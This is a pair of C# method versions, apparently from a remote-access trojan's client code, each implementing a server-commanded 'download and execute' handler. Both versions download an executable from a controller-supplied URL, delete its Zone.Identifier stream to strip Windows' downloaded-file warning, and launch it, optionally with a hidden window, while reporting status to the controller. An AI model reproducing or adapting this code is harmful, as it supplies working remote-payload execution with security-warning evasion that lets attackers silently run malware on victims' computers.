public static void HandleDoDownloadAndExecute(Packets.ServerPackets.DoDownloadAndExecute command, Client client) { new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client); new Thread(() => { string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".exe")); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.URL, tempFile); } } catch { new Packets.ClientPackets.SetStatus("Download failed!").Execute(client); return; } new Packets.ClientPackets.SetStatus("Downloaded File!").Execute(client); try { DeleteFile(tempFile + ":Zone.Identifier"); var bytes = File.ReadAllBytes(tempFile); if (bytes[0] != 'M' && bytes[1] != 'Z') { throw new Exception("no pe file"); } ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = command.RunHidden; startInfo.FileName = tempFile; Process.Start(startInfo); } catch { DeleteFile(tempFile); new Packets.ClientPackets.SetStatus("Execution failed!").Execute(client); return; } new Packets.ClientPackets.SetStatus("Executed File!").Execute(client); }).Start(); }
public static void HandleDoDownloadAndExecute(Packets.ServerPackets.DoDownloadAndExecute command, Client client) { new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client); new Thread(() => { string tempFile = FileHelper.GetTempFilePath(".exe"); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.URL, tempFile); } } catch { new Packets.ClientPackets.SetStatus("Download failed!").Execute(client); return; } new Packets.ClientPackets.SetStatus("Downloaded File!").Execute(client); try { FileHelper.DeleteZoneIdentifier(tempFile); var bytes = File.ReadAllBytes(tempFile); if (!FileHelper.IsValidExecuteableFile(bytes)) { throw new Exception("no pe file"); } ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = false; startInfo.FileName = tempFile; Process.Start(startInfo); } catch { NativeMethods.DeleteFile(tempFile); new Packets.ClientPackets.SetStatus("Execution failed!").Execute(client); return; } new Packets.ClientPackets.SetStatus("Executed File!").Execute(client); }).Start(); }